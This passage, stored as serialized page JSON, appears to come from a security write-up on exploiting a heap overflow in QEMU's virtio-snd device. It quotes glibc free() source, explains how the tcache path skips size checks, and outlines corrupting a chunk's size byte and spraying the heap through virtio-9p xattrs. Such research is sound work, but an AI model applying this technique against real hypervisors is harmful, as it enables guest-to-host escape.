",{"type":23,"tag":230,"props":128592,"children":128593},{"style":262},[128594],{"type":29,"value":32},{"type":23,"tag":230,"props":128596,"children":128597},{"style":274},[128598],{"type":29,"value":684},{"type":23,"tag":230,"props":128600,"children":128601},{"style":256},[128602],{"type":29,"value":21364},{"type":23,"tag":230,"props":128604,"children":128605},{"style":262},[128606],{"type":29,"value":128607}," have_lock",{"type":23,"tag":230,"props":128609,"children":128610},{"style":274},[128611],{"type":29,"value":4516},{"type":23,"tag":230,"props":128613,"children":128614},{"class":232,"line":252},[128615],{"type":23,"tag":230,"props":128616,"children":128617},{"style":274},[128618],{"type":29,"value":13211},{"type":23,"tag":230,"props":128620,"children":128621},{"class":232,"line":280},[128622],{"type":23,"tag":230,"props":128623,"children":128624},{"style":274},[128625],{"type":29,"value":128626},"  INTERNAL_SIZE_T size;\n",{"type":23,"tag":230,"props":128628,"children":128629},{"class":232,"line":334},[128630],{"type":23,"tag":230,"props":128631,"children":128632},{"emptyLinePlaceholder":18},[128633],{"type":29,"value":459},{"type":23,"tag":230,"props":128635,"children":128636},{"class":232,"line":371},[128637,128642,128646,128651],{"type":23,"tag":230,"props":128638,"children":128639},{"style":274},[128640],{"type":29,"value":128641},"  size ",{"type":23,"tag":230,"props":128643,"children":128644},{"style":268},[128645],{"type":29,"value":863},{"type":23,"tag":230,"props":128647,"children":128648},{"style":294},[128649],{"type":29,"value":128650}," chunksize",{"type":23,"tag":230,"props":128652,"children":128653},{"style":274},[128654],{"type":29,"value":128369},{"type":23,"tag":230,"props":128656,"children":128657},{"class":232,"line":391},[128658],{"type":23,"tag":230,"props":128659,"children":128660},{"emptyLinePlaceholder":18},[128661],{"type":29,"value":459},{"type":23,"tag":230,"props":128663,"children":128664},{"class":232,"line":400},[128665],{"type":23,"tag":230,"props":128666,"children":128667},{"style":237},[128668],{"type":29,"value":128669},"  /* Little security check which won't hurt performance: the\n",{"type":23,"tag":230,"props":128671,"children":128672},{"class":232,"line":444},[128673],{"type":23,"tag":230,"props":128674,"children":128675},{"style":237},[128676],{"type":29,"value":128677},"     allocator never wraps around at the end of the address space.\n",{"type":23,"tag":230,"props":128679,"children":128680},{"class":232,"line":453},[128681],{"type":23,"tag":230,"props":128682,"children":128683},{"style":237},[128684],{"type":29,"value":128685},"     Therefore we can exclude some size values which might appear\n",{"type":23,"tag":230,"props":128687,"children":128688},{"class":232,"line":462},[128689],{"type":23,"tag":230,"props":128690,"children":128691},{"style":237},[128692],{"type":29,"value":128693},"     here by accident or by \"design\" from some intruder.  */\n",{"type":23,"tag":230,"props":128695,"children":128696},{"class":232,"line":471},[128697,128701,128705,128710,128715,128720,128725,128729,128733,128737,128741,128745,128750,128754],{"type":23,"tag":230,"props":128698,"children":128699},{"style":866},[128700],{"type":29,"value":33698},{"type":23,"tag":230,"props":128702,"children":128703},{"style":274},[128704],{"type":29,"value":664},{"type":23,"tag":230,"props":128706,"children":128707},{"style":294},[128708],{"type":29,"value":128709},"__builtin_expect",{"type":23,"tag":230,"props":128711,"children":128712},{"style":274},[128713],{"type":29,"value":128714}," ((",{"type":23,"tag":230,"props":128716,"children":128717},{"style":256},[128718],{"type":29,"value":128719},"uintptr_t",{"type":23,"tag":230,"props":128721,"children":128722},{"style":274},[128723],{"type":29,"value":128724},") p ",{"type":23,"tag":230,"props":128726,"children":128727},{"style":268},[128728],{"type":29,"value":12792},{"type":23,"tag":230,"props":128730,"children":128731},{"style":274},[128732],{"type":29,"value":664},{"type":23,"tag":230,"props":128734,"children":128735},{"style":256},[128736],{"type":29,"value":128719},{"type":23,"tag":230,"props":128738,"children":128739},{"style":274},[128740],{"type":29,"value":703},{"type":23,"tag":230,"props":128742,"children":128743},{"style":268},[128744],{"type":29,"value":6665},{"type":23,"tag":230,"props":128746,"children":128747},{"style":274},[128748],{"type":29,"value":128749},"size, ",{"type":23,"tag":230,"props":128751,"children":128752},{"style":5149},[128753],{"type":29,"value":6358},{"type":23,"tag":230,"props":128755,"children":128756},{"style":274},[128757],{"type":29,"value":4516},{"type":23,"tag":230,"props":128759,"children":128760},{"class":232,"line":500},[128761,128766,128771,128775,128780,128785,128789],{"type":23,"tag":230,"props":128762,"children":128763},{"style":268},[128764],{"type":29,"value":128765},"      ||",{"type":23,"tag":230,"props":128767,"children":128768},{"style":294},[128769],{"type":29,"value":128770}," __builtin_expect",{"type":23,"tag":230,"props":128772,"children":128773},{"style":274},[128774],{"type":29,"value":664},{"type":23,"tag":230,"props":128776,"children":128777},{"style":294},[128778],{"type":29,"value":128779},"misaligned_chunk",{"type":23,"tag":230,"props":128781,"children":128782},{"style":274},[128783],{"type":29,"value":128784}," (p), ",{"type":23,"tag":230,"props":128786,"children":128787},{"style":5149},[128788],{"type":29,"value":6358},{"type":23,"tag":230,"props":128790,"children":128791},{"style":274},[128792],{"type":29,"value":22026},{"type":23,"tag":230,"props":128794,"children":128795},{"class":232,"line":514},[128796,128801,128805,128810],{"type":23,"tag":230,"props":128797,"children":128798},{"style":294},[128799],{"type":29,"value":128800},"    malloc_printerr",{"type":23,"tag":230,"props":128802,"children":128803},{"style":274},[128804],{"type":29,"value":664},{"type":23,"tag":230,"props":128806,"children":128807},{"style":380},[128808],{"type":29,"value":128809},"\"free(): invalid pointer\"",{"type":23,"tag":230,"props":128811,"children":128812},{"style":274},[128813],{"type":29,"value":753},{"type":23,"tag":230,"props":128815,"children":128816},{"class":232,"line":897},[128817],{"type":23,"tag":230,"props":128818,"children":128819},{"style":237},[128820],{"type":29,"value":128821},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":23,"tag":230,"props":128823,"children":128824},{"class":232,"line":960},[128825],{"type":23,"tag":230,"props":128826,"children":128827},{"style":237},[128828],{"type":29,"value":128829},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":23,"tag":230,"props":128831,"children":128832},{"class":232,"line":969},[128833,128837,128841,128846,128851,128855,128860,128864,128868,128873],{"type":23,"tag":230,"props":128834,"children":128835},{"style":866},[128836],{"type":29,"value":33698},{"type":23,"tag":230,"props":128838,"children":128839},{"style":274},[128840],{"type":29,"value":664},{"type":23,"tag":230,"props":128842,"children":128843},{"style":294},[128844],{"type":29,"value":128845},"__glibc_unlikely",{"type":23,"tag":230,"props":128847,"children":128848},{"style":274},[128849],{"type":29,"value":128850}," (size ",{"type":23,"tag":230,"props":128852,"children":128853},{"style":268},[128854],{"type":29,"value":8143},{"type":23,"tag":230,"props":128856,"children":128857},{"style":274},[128858],{"type":29,"value":128859}," MINSIZE ",{"type":23,"tag":230,"props":128861,"children":128862},{"style":268},[128863],{"type":29,"value":24733},{"type":23,"tag":230,"props":128865,"children":128866},{"style":268},[128867],{"type":29,"value":15193},{"type":23,"tag":230,"props":128869,"children":128870},{"style":294},[128871],{"type":29,"value":128872},"aligned_OK",{"type":23,"tag":230,"props":128874,"children":128875},{"style":274},[128876],{"type":29,"value":128877}," (size)))\n",{"type":23,"tag":230,"props":128879,"children":128880},{"class":232,"line":4526},[128881,128885,128889,128894],{"type":23,"tag":230,"props":128882,"children":128883},{"style":294},[128884],{"type":29,"value":128800},{"type":23,"tag":230,"props":128886,"children":128887},{"style":274},[128888],{"type":29,"value":664},{"type":23,"tag":230,"props":128890,"children":128891},{"style":380},[128892],{"type":29,"value":128893},"\"free(): invalid size\"",{"type":23,"tag":230,"props":128895,"children":128896},{"style":274},[128897],{"type":29,"value":753},{"type":23,"tag":230,"props":128899,"children":128900},{"class":232,"line":4534},[128901],{"type":23,"tag":230,"props":128902,"children":128903},{"emptyLinePlaceholder":18},[128904],{"type":29,"value":459},{"type":23,"tag":230,"props":128906,"children":128907},{"class":232,"line":4542},[128908,128913],{"type":23,"tag":230,"props":128909,"children":128910},{"style":294},[128911],{"type":29,"value":128912},"  check_inuse_chunk",{"type":23,"tag":230,"props":128914,"children":128915},{"style":274},[128916],{"type":29,"value":128917},"(av, p);\n",{"type":23,"tag":230,"props":128919,"children":128920},{"class":232,"line":4559},[128921],{"type":23,"tag":230,"props":128922,"children":128923},{"emptyLinePlaceholder":18},[128924],{"type":29,"value":459},{"type":23,"tag":230,"props":128926,"children":128927},{"class":232,"line":4587},[128928],{"type":23,"tag":230,"props":128929,"children":128930},{"style":274},[128931],{"type":29,"value":128932},"  [...]\n",{"type":23,"tag":32,"props":128934,"children":128935},{},[128936],{"type":29,"value":128937},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":23,"tag":32,"props":128939,"children":128940},{},[128941,128943,128948,128950,128955,128957,128962,128964,128969],{"type":29,"value":128942},"The next check, however, ensures that the ",{"type":23,"tag":71,"props":128944,"children":128946},{"className":128945},[],[128947],{"type":29,"value":126039},{"type":29,"value":128949}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":23,"tag":71,"props":128951,"children":128953},{"className":128952},[],[128954],{"type":29,"value":126039},{"type":29,"value":128956}," must preserve alignment while also avoiding the ",{"type":23,"tag":71,"props":128958,"children":128960},{"className":128959},[],[128961],{"type":29,"value":128208},{"type":29,"value":128963}," bit. Under those constraints, exploiting the bug through ",{"type":23,"tag":71,"props":128965,"children":128967},{"className":128966},[],[128968],{"type":29,"value":126039},{"type":29,"value":128970}," corruption looked very unreliable at first.",{"type":23,"tag":32,"props":128972,"children":128973},{},[128974],{"type":29,"value":128975},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":23,"tag":220,"props":128977,"children":128979},{"code":128978,"language":2148,"meta":7,"className":18839,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[128980],{"type":23,"tag":71,"props":128981,"children":128982},{"__ignoreMap":7},[128983,128991,129018,129025,129032,129039,129058,129065,129085,129092,129120,129144,129151,129164,129206,129213,129221,129228,129245],{"type":23,"tag":230,"props":128984,"children":128985},{"class":232,"line":233},[128986],{"type":23,"tag":230,"props":128987,"children":128988},{"style":256},[128989],{"type":29,"value":128990},"void\n",{"type":23,"tag":230,"props":128992,"children":128993},{"class":232,"line":243},[128994,128998,129002,129006,129010,129014],{"type":23,"tag":230,"props":128995,"children":128996},{"style":294},[128997],{"type":29,"value":128256},{"type":23,"tag":230,"props":128999,"children":129000},{"style":274},[129001],{"type":29,"value":664},{"type":23,"tag":230,"props":129003,"children":129004},{"style":256},[129005],{"type":29,"value":53400},{"type":23,"tag":230,"props":129007,"children":129008},{"style":268},[129009],{"type":29,"value":12147},{"type":23,"tag":230,"props":129011,"children":129012},{"style":262},[129013],{"type":29,"value":42430},{"type":23,"tag":230,"props":129015,"children":129016},{"style":274},[129017],{"type":29,"value":4516},{"type":23,"tag":230,"props":129019,"children":129020},{"class":232,"line":252},[129021],{"type":23,"tag":230,"props":129022,"children":129023},{"style":274},[129024],{"type":29,"value":13211},{"type":23,"tag":230,"props":129026,"children":129027},{"class":232,"line":280},[129028],{"type":23,"tag":230,"props":129029,"children":129030},{"style":274},[129031],{"type":29,"value":128299},{"type":23,"tag":230,"props":129033,"children":129034},{"class":232,"line":334},[129035],{"type":23,"tag":230,"props":129036,"children":129037},{"emptyLinePlaceholder":18},[129038],{"type":29,"value":459},{"type":23,"tag":230,"props":129040,"children":129041},{"class":232,"line":371},[129042,129046,129050,129054],{"type":23,"tag":230,"props":129043,"children":129044},{"style":274},[129045],{"type":29,"value":128314},{"type":23,"tag":230,"props":129047,"children":129048},{"style":268},[129049],{"type":29,"value":863},{"type":23,"tag":230,"props":129051,"children":129052},{"style":294},[129053],{"type":29,"value":128323},{"type":23,"tag":230,"props":129055,"children":129056},{"style":274},[129057],{"type":29,"value":128328},{"type":23,"tag":230,"props":129059,"children":129060},{"class":232,"line":391},[129061],{"type":23,"tag":230,"props":129062,"children":129063},{"emptyLinePlaceholder":18},[129064],{"type":29,"value":459},{"type":23,"tag":230,"props":129066,"children":129067},{"class":232,"line":400},[129068,129073,129077,129081],{"type":23,"tag":230,"props":129069,"children":129070},{"style":274},[129071],{"type":29,"value":129072},"  INTERNAL_SIZE_T size ",{"type":23,"tag":230,"props":129074,"children":129075},{"style":268},[129076],{"type":29,"value":863},{"type":23,"tag":230,"props":129078,"children":129079},{"style":294},[129080],{"type":29,"value":128650},{"type":23,"tag":230,"props":129082,"children":129083},{"style":274},[129084],{"type":29,"value":128369},{"type":23,"tag":230,"props":129086,"children":129087},{"class":232,"line":444},[129088],{"type":23,"tag":230,"props":129089,"children":129090},{"emptyLinePlaceholder":18},[129091],{"type":29,"value":459},{"type":23,"tag":230,"props":129093,"children":129094},{"class":232,"line":453},[129095,129099,129103,129107,129111,129115],{"type":23,"tag":230,"props":129096,"children":129097},{"style":866},[129098],{"type":29,"value":33698},{"type":23,"tag":230,"props":129100,"children":129101},{"style":274},[129102],{"type":29,"value":664},{"type":23,"tag":230,"props":129104,"children":129105},{"style":294},[129106],{"type":29,"value":128845},{"type":23,"tag":230,"props":129108,"children":129109},{"style":274},[129110],{"type":29,"value":664},{"type":23,"tag":230,"props":129112,"children":129113},{"style":294},[129114],{"type":29,"value":128779},{"type":23,"tag":230,"props":129116,"children":129117},{"style":274},[129118],{"type":29,"value":129119}," (p)))\n",{"type":23,"tag":230,"props":129121,"children":129122},{"class":232,"line":462},[129123,129127,129132,129136,129140],{"type":23,"tag":230,"props":129124,"children":129125},{"style":866},[129126],{"type":29,"value":4427},{"type":23,"tag":230,"props":129128,"children":129129},{"style":294},[129130],{"type":29,"value":129131}," malloc_printerr_tail",{"type":23,"tag":230,"props":129133,"children":129134},{"style":274},[129135],{"type":29,"value":664},{"type":23,"tag":230,"props":129137,"children":129138},{"style":380},[129139],{"type":29,"value":128809},{"type":23,"tag":230,"props":129141,"children":129142},{"style":274},[129143],{"type":29,"value":753},{"type":23,"tag":230,"props":129145,"children":129146},{"class":232,"line":471},[129147],{"type":23,"tag":230,"props":129148,"children":129149},{"emptyLinePlaceholder":18},[129150],{"type":29,"value":459},{"type":23,"tag":230,"props":129152,"children":129153},{"class":232,"line":500},[129154,129159],{"type":23,"tag":230,"props":129155,"children":129156},{"style":866},[129157],{"type":29,"value":129158},"#if",{"type":23,"tag":230,"props":129160,"children":129161},{"style":294},[129162],{"type":29,"value":129163}," USE_TCACHE\n",{"type":23,"tag":230,"props":129165,"children":129166},{"class":232,"line":514},[129167,129171,129175,129180,129184,129188,129193,129197,129202],{"type":23,"tag":230,"props":129168,"children":129169},{"style":866},[129170],{"type":29,"value":33698},{"type":23,"tag":230,"props":129172,"children":129173},{"style":274},[129174],{"type":29,"value":664},{"type":23,"tag":230,"props":129176,"children":129177},{"style":294},[129178],{"type":29,"value":129179},"__glibc_likely",{"type":23,"tag":230,"props":129181,"children":129182},{"style":274},[129183],{"type":29,"value":128850},{"type":23,"tag":230,"props":129185,"children":129186},{"style":268},[129187],{"type":29,"value":8143},{"type":23,"tag":230,"props":129189,"children":129190},{"style":262},[129191],{"type":29,"value":129192}," mp_",{"type":23,"tag":230,"props":129194,"children":129195},{"style":274},[129196],{"type":29,"value":312},{"type":23,"tag":230,"props":129198,"children":129199},{"style":262},[129200],{"type":29,"value":129201},"tcache_max_bytes",{"type":23,"tag":230,"props":129203,"children":129204},{"style":274},[129205],{"type":29,"value":22026},{"type":23,"tag":230,"props":129207,"children":129208},{"class":232,"line":897},[129209],{"type":23,"tag":230,"props":129210,"children":129211},{"style":274},[129212],{"type":29,"value":31494},{"type":23,"tag":230,"props":129214,"children":129215},{"class":232,"line":960},[129216],{"type":23,"tag":230,"props":129217,"children":129218},{"style":274},[129219],{"type":29,"value":129220},"      [...]\n",{"type":23,"tag":230,"props":129222,"children":129223},{"class":232,"line":969},[129224],{"type":23,"tag":230,"props":129225,"children":129226},{"emptyLinePlaceholder":18},[129227],{"type":29,"value":459},{"type":23,"tag":230,"props":129229,"children":129230},{"class":232,"line":4526},[129231,129235,129240],{"type":23,"tag":230,"props":129232,"children":129233},{"style":866},[129234],{"type":29,"value":4063},{"type":23,"tag":230,"props":129236,"children":129237},{"style":294},[129238],{"type":29,"value":129239}," tcache_put",{"type":23,"tag":230,"props":129241,"children":129242},{"style":274},[129243],{"type":29,"value":129244}," (p, tc_idx);\n",{"type":23,"tag":230,"props":129246,"children":129247},{"class":232,"line":4534},[129248],{"type":23,"tag":230,"props":129249,"children":129250},{"style":274},[129251],{"type":29,"value":1552},{"type":23,"tag":32,"props":129253,"children":129254},{},[129255,129257,129262],{"type":29,"value":129256},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":23,"tag":71,"props":129258,"children":129260},{"className":129259},[],[129261],{"type":29,"value":126039},{"type":29,"value":129263}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":23,"tag":32,"props":129265,"children":129266},{},[129267,129269,129275,129276,129281],{"type":29,"value":129268},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":23,"tag":71,"props":129270,"children":129272},{"className":129271},[],[129273],{"type":29,"value":129274},"check_inuse_chunk",{"type":29,"value":664},{"type":23,"tag":71,"props":129277,"children":129279},{"className":129278},[],[129280],{"type":29,"value":126167},{"type":29,"value":26252},{"type":23,"tag":220,"props":129283,"children":129285},{"code":129284,"language":2148,"meta":7,"className":18839,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[129286],{"type":23,"tag":71,"props":129287,"children":129288},{"__ignoreMap":7},[129289,129296,129323,129330,129337,129344,129363,129370,129389,129396,129423,129446,129453,129479,129486,129497,129554],{"type":23,"tag":230,"props":129290,"children":129291},{"class":232,"line":233},[129292],{"type":23,"tag":230,"props":129293,"children":129294},{"style":256},[129295],{"type":29,"value":128990},{"type":23,"tag":230,"props":129297,"children":129298},{"class":232,"line":243},[129299,129303,129307,129311,129315,129319],{"type":23,"tag":230,"props":129300,"children":129301},{"style":294},[129302],{"type":29,"value":128256},{"type":23,"tag":230,"props":129304,"children":129305},{"style":274},[129306],{"type":29,"value":664},{"type":23,"tag":230,"props":129308,"children":129309},{"style":256},[129310],{"type":29,"value":53400},{"type":23,"tag":230,"props":129312,"children":129313},{"style":268},[129314],{"type":29,"value":12147},{"type":23,"tag":230,"props":129316,"children":129317},{"style":262},[129318],{"type":29,"value":42430},{"type":23,"tag":230,"props":129320,"children":129321},{"style":274},[129322],{"type":29,"value":4516},{"type":23,"tag":230,"props":129324,"children":129325},{"class":232,"line":252},[129326],{"type":23,"tag":230,"props":129327,"children":129328},{"style":274},[129329],{"type":29,"value":13211},{"type":23,"tag":230,"props":129331,"children":129332},{"class":232,"line":280},[129333],{"type":23,"tag":230,"props":129334,"children":129335},{"style":274},[129336],{"type":29,"value":128299},{"type":23,"tag":230,"props":129338,"children":129339},{"class":232,"line":334},[129340],{"type":23,"tag":230,"props":129341,"children":129342},{"emptyLinePlaceholder":18},[129343],{"type":29,"value":459},{"type":23,"tag":230,"props":129345,"children":129346},{"class":232,"line":371},[129347,129351,129355,129359],{"type":23,"tag":230,"props":129348,"children":129349},{"style":274},[129350],{"type":29,"value":128314},{"type":23,"tag":230,"props":129352,"children":129353},{"style":268},[129354],{"type":29,"value":863},{"type":23,"tag":230,"props":129356,"children":129357},{"style":294},[129358],{"type":29,"value":128323},{"type":23,"tag":230,"props":129360,"children":129361},{"style":274},[129362],{"type":29,"value":128328},{"type":23,"tag":230,"props":129364,"children":129365},{"class":232,"line":391},[129366],{"type":23,"tag":230,"props":129367,"children":129368},{"emptyLinePlaceholder":18},[129369],{"type":29,"value":459},{"type":23,"tag":230,"props":129371,"children":129372},{"class":232,"line":400},[129373,129377,129381,129385],{"type":23,"tag":230,"props":129374,"children":129375},{"style":274},[129376],{"type":29,"value":129072},{"type":23,"tag":230,"props":129378,"children":129379},{"style":268},[129380],{"type":29,"value":863},{"type":23,"tag":230,"props":129382,"children":129383},{"style":294},[129384],{"type":29,"value":128650},{"type":23,"tag":230,"props":129386,"children":129387},{"style":274},[129388],{"type":29,"value":128369},{"type":23,"tag":230,"props":129390,"children":129391},{"class":232,"line":444},[129392],{"type":23,"tag":230,"props":129393,"children":129394},{"emptyLinePlaceholder":18},[129395],{"type":29,"value":459},{"type":23,"tag":230,"props":129397,"children":129398},{"class":232,"line":453},[129399,129403,129407,129411,129415,129419],{"type":23,"tag":230,"props":129400,"children":129401},{"style":866},[129402],{"type":29,"value":33698},{"type":23,"tag":230,"props":129404,"children":129405},{"style":274},[129406],{"type":29,"value":664},{"type":23,"tag":230,"props":129408,"children":129409},{"style":294},[129410],{"type":29,"value":128845},{"type":23,"tag":230,"props":129412,"children":129413},{"style":274},[129414],{"type":29,"value":664},{"type":23,"tag":230,"props":129416,"children":129417},{"style":294},[129418],{"type":29,"value":128779},{"type":23,"tag":230,"props":129420,"children":129421},{"style":274},[129422],{"type":29,"value":129119},{"type":23,"tag":230,"props":129424,"children":129425},{"class":232,"line":462},[129426,129430,129434,129438,129442],{"type":23,"tag":230,"props":129427,"children":129428},{"style":866},[129429],{"type":29,"value":4427},{"type":23,"tag":230,"props":129431,"children":129432},{"style":294},[129433],{"type":29,"value":129131},{"type":23,"tag":230,"props":129435,"children":129436},{"style":274},[129437],{"type":29,"value":664},{"type":23,"tag":230,"props":129439,"children":129440},{"style":380},[129441],{"type":29,"value":128809},{"type":23,"tag":230,"props":129443,"children":129444},{"style":274},[129445],{"type":29,"value":753},{"type":23,"tag":230,"props":129447,"children":129448},{"class":232,"line":471},[129449],{"type":23,"tag":230,"props":129450,"children":129451},{"emptyLinePlaceholder":18},[129452],{"type":29,"value":459},{"type":23,"tag":230,"props":129454,"children":129455},{"class":232,"line":500},[129456,129460,129464,129469,129474],{"type":23,"tag":230,"props":129457,"children":129458},{"style":294},[129459],{"type":29,"value":128912},{"type":23,"tag":230,"props":129461,"children":129462},{"style":274},[129463],{"type":29,"value":664},{"type":23,"tag":230,"props":129465,"children":129466},{"style":294},[129467],{"type":29,"value":129468},"arena_for_chunk",{"type":23,"tag":230,"props":129470,"children":129471},{"style":274},[129472],{"type":29,"value":129473}," (p), p);",{"type":23,"tag":230,"props":129475,"children":129476},{"style":237},[129477],{"type":29,"value":129478},"             // [1]\n",{"type":23,"tag":230,"props":129480,"children":129481},{"class":232,"line":514},[129482],{"type":23,"tag":230,"props":129483,"children":129484},{"emptyLinePlaceholder":18},[129485],{"type":29,"value":459},{"type":23,"tag":230,"props":129487,"children":129488},{"class":232,"line":897},[129489,129493],{"type":23,"tag":230,"props":129490,"children":129491},{"style":866},[129492],{"type":29,"value":129158},{"type":23,"tag":230,"props":129494,"children":129495},{"style":294},[129496],{"type":29,"value":129163},{"type":23,"tag":230,"props":129498,"children":129499},{"class":232,"line":960},[129500,129504,129508,129512,129516,129520,129524,129528,129532,129536,129541,129545,129550],{"type":23,"tag":230,"props":129501,"children":129502},{"style":866},[129503],{"type":29,"value":33698},{"type":23,"tag":230,"props":129505,"children":129506},{"style":274},[129507],{"type":29,"value":664},{"type":23,"tag":230,"props":129509,"children":129510},{"style":294},[129511],{"type":29,"value":129179},{"type":23,"tag":230,"props":129513,"children":129514},{"style":274},[129515],{"type":29,"value":128850},{"type":23,"tag":230,"props":129517,"children":129518},{"style":268},[129519],{"type":29,"value":8143},{"type":23,"tag":230,"props":129521,"children":129522},{"style":262},[129523],{"type":29,"value":129192},{"type":23,"tag":230,"props":129525,"children":129526},{"style":274},[129527],{"type":29,"value":312},{"type":23,"tag":230,"props":129529,"children":129530},{"style":262},[129531],{"type":29,"value":129201},{"type":23,"tag":230,"props":129533,"children":129534},{"style":268},[129535],{"type":29,"value":16512},{"type":23,"tag":230,"props":129537,"children":129538},{"style":274},[129539],{"type":29,"value":129540}," tcache ",{"type":23,"tag":230,"props":129542,"children":129543},{"style":268},[129544],{"type":29,"value":18013},{"type":23,"tag":230,"props":129546,"children":129547},{"style":256},[129548],{"type":29,"value":129549}," NULL",{"type":23,"tag":230,"props":129551,"children":129552},{"style":274},[129553],{"type":29,"value":22026},{"type":23,"tag":230,"props":129555,"children":129556},{"class":232,"line":969},[129557],{"type":23,"tag":230,"props":129558,"children":129559},{"style":274},[129560],{"type":29,"value":128932},{"type":23,"tag":32,"props":129562,"children":129563},{},[129564,129566,129571],{"type":29,"value":129565},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":23,"tag":71,"props":129567,"children":129569},{"className":129568},[],[129570],{"type":29,"value":126039},{"type":29,"value":129572},", because on the latest 2.43 glibc they are non-existent.",{"type":23,"tag":21113,"props":129574,"children":129575},{},[],{"type":23,"tag":32,"props":129577,"children":129578},{},[129579,129581,129586,129588,129594,129596,129601,129603,129609],{"type":29,"value":129580},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":23,"tag":71,"props":129582,"children":129584},{"className":129583},[],[129585],{"type":29,"value":126039},{"type":29,"value":129587}," field was initially ",{"type":23,"tag":71,"props":129589,"children":129591},{"className":129590},[],[129592],{"type":29,"value":129593},"0x200",{"type":29,"value":129595},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":23,"tag":71,"props":129597,"children":129599},{"className":129598},[],[129600],{"type":29,"value":128216},{"type":29,"value":129602},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":23,"tag":71,"props":129604,"children":129606},{"className":129605},[],[129607],{"type":29,"value":129608},"[0x210, 0x2f0]",{"type":29,"value":129610},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":23,"tag":32,"props":129612,"children":129613},{},[129614],{"type":29,"value":129615},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":23,"tag":59,"props":129617,"children":129619},{"id":129618},"heap-spraying",[129620],{"type":29,"value":129621},"Heap Spraying",{"type":23,"tag":32,"props":129623,"children":129624},{},[129625,129627,129632],{"type":29,"value":129626},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":23,"tag":71,"props":129628,"children":129630},{"className":129629},[],[129631],{"type":29,"value":129593},{"type":29,"value":129633},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":23,"tag":32,"props":129635,"children":129636},{},[129637,129639,129644],{"type":29,"value":129638},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":23,"tag":71,"props":129640,"children":129642},{"className":129641},[],[129643],{"type":29,"value":126234},{"type":29,"value":129645}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":23,"tag":32,"props":129647,"children":129648},{},[129649],{"type":29,"value":129650},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":23,"tag":192,"props":129652,"children":129654},{"id":129653},"virtio-9p",[129655],{"type":29,"value":129653},{"type":23,"tag":32,"props":129657,"children":129658},{},[129659,129664],{"type":23,"tag":71,"props":129660,"children":129662},{"className":129661},[],[129663],{"type":29,"value":129653},{"type":29,"value":129665}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":23,"tag":32,"props":129667,"children":129668},{},[129669,129671,129677,129679,129685,129686,129692,129694,129699],{"type":29,"value":129670},"Through a ",{"type":23,"tag":71,"props":129672,"children":129674},{"className":129673},[],[129675],{"type":29,"value":129676},"P9_TXATTRCREATE",{"type":29,"value":129678}," request, we can allocate host-side buffers for both the ",{"type":23,"tag":71,"props":129680,"children":129682},{"className":129681},[],[129683],{"type":29,"value":129684},".name",{"type":29,"value":112},{"type":23,"tag":71,"props":129687,"children":129689},{"className":129688},[],[129690],{"type":29,"value":129691},".value",{"type":29,"value":129693}," fields, with the size of ",{"type":23,"tag":71,"props":129695,"children":129697},{"className":129696},[],[129698],{"type":29,"value":129691},{"type":29,"value":129700}," being directly controlled by the guest.",{"type":23,"tag":220,"props":129702,"children":129704},{"code":129703,"language":2148,"meta":7,"className":18839,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = 